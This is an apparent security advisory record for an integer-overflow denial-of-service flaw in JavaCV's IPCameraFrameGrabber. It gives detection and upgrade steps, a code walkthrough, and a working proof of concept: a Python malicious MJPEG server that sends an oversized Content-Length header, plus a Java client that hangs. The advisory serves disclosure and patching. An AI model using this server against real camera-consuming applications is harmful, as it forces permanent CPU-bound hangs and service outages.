---
id: "CVE-2026-102834"
kind: "vulnerability"
aliases: ["CVE-2026-102834", "GHSA-rxjv-24xq-76wc"]
title: "JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS"
severity: "high"
cvss: 7.5
epss: 0.0033499998971819878
exploited: false
status: "open"
category: "package"
products: [{"name": "org.bytedeco:javacv", "fixed": ["1.5.14"], "affected": "< 1.5.14", "ecosystem": "maven"}]
ecosystems: ["maven"]
tags: ["cwe-190", "ip-camera", "java", "javacv", "package", "video-surveillance"]
not_affected_if: ["javacv-1.5.14-or-later", "no-ipcameraframegrabber-use", "trusted-https-camera-only"]
published_at: "2026-10-16T19:53:06+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T19:55:46+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-rxjv-24xq-76wc", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102834", "first_seen_at": "2026-10-23T21:57:14+00:00"}]
---

# JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS

JavaCV's IPCameraFrameGrabber trusts the Content-Length header of an MJPEG HTTP stream, so a value between 1073741825 and 2147483647 overflows an int in the buffer-growth loop and the thread spins at 100% CPU forever. An attacker who controls the camera endpoint or can tamper with plaintext http:// responses can permanently hang any thread calling grab() or grabBufferedImage().

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- maven:org.bytedeco:javacv affected < 1.5.14 fixed 1.5.14

## How to check

Run `mvn dependency:list | grep javacv` or inspect the org.bytedeco:javacv version in pom.xml or build.gradle; affected if below 1.5.14.
Check whether code instantiates IPCameraFrameGrabber against URLs that are untrusted or reached over http://.

## Fix

Upgrade org.bytedeco:javacv to 1.5.14 or later.
If the upgrade is not immediate, only read camera streams from trusted, TLS-protected endpoints.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-rxjv-24xq-76wc
- 2026-10-23T21:57:14+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-102834

## From the sources

### Summary
`IPCameraFrameGrabber` parses the `Content-Length` value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over `http://`, as documented in the class itself) - can supply a `Content-Length` value in the range `1073741825`-`2147483647`. This drives the internal buffer-growth routine `ensureBufferCapacity(int)` into 32-bit signed integer overflow, which turns the "grow the buffer" loop into a true infinite loop: the loop variable oscillates to `0` and never again satisfies the loop's exit condition. The thread that called `grab()`/`grabBufferedImage()` spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.

### Details
File: `src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java`

```java
private byte[] readImage() throws IOException {
    ...
    int c0 = subheader.indexOf("content-length: ");
    final int c1 = subheader.indexOf('\r', c0);
    if (c0 < 0) {
        throw new EOFException("The camera stream ended unexpectedly");
    }
    c0 += 16;
    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled
    // adaptive size - careful - don't want a 2G jpeg
    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced
    input.readFully(pixelBuffer, 0, contentLength);
    ...
}

private void ensureBufferCapacity(int desiredCapacity) {
    int capacity = pixelBuffer.length;          // starts at 1024
    while (capacity < desiredCapacity) {
        capacity *= 2;                          // <-- unchecked int multiplication
    }
    if (capacity > pixelBuffer.length) {
        pixelBuffer = new byte[capacity];
    }
}
```

`contentLength` is taken verbatim from the HTTP response headers of the camera stream and passed directly into `ensureBufferCapacity` with no upper-bound validation (the comment "adaptive size - careful - don't want a 2G jpeg" shows the author was aware of the risk but never implemented a check).

`ensureBufferCapacity` repeatedly doubles `capacity` (a 32-bit `int`, starting at `pixelBuffer.length == 1024`) until it is `>= desiredCapacity`. If `desiredCapacity` is greater than `2^30` (`1073741824`) but `<= Integer.MAX_VALUE` (`2147483647`):

1. `capacity` reaches `2^30` (`1073741824`) after 20 doublings; the loop condition `capacity < desiredCapacity` is still true.
2. `capacity *= 2` computes `2^31`, which overflows a signed 32-bit `int` and wraps to `Integer.MIN_VALUE` (`-2147483648`).
3. The loop condition `capacity < desiredCapacity` (a negative number compared to a large positive `desiredCapacity`) is still true, so the loop continues.
4. `capacity *= 2` computes `Integer.MIN_VALUE * 2`, which in two's-complement 32-bit arithmetic wraps to `0`.
5. From this point on, `capacity` is permanently `0` (`0 * 2 == 0`), and `0 < desiredCapacity` remains true forever - the `while` loop never terminates.

This is a pure CPU-bound loop with no I/O, no blocking call, and no `InterruptedException` check, so it cannot be interrupted via `Thread.interrupt()` and will not respect any `readTimeout`/`connectionTimeout` configured on the grabber (those only apply to the socket read that happens *before* this code path). The only remedy is killing the JVM/thread from outside.

### PoC
A minimal malicious/MITM'd MJPEG server that reproduces the hang:

```python
import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096)  # swallow the client's request

# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
    "--myboundary\r\n"
    "Content-Type: image/jpeg\r\n"
    "Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.
```

Java client (representative of any application embedding javacv to view an "IP camera" URL):

```java
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;

public class Poc {
    public static void main(String[] args) throws Exception {
        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
            "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
        grabber.start();
        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
    }
}
```

Running the client against the malicious server above causes `grab()` to hang permanently, consuming a full CPU core, regardless of the `startTimeout`/`grabTimeout` passed to the constructor.

### Impact
Any application that uses `IPCameraFrameGrabber` to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain `http://` streams (as shown in the class's own documented examples: `http://host/videostream.cgi?...`) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
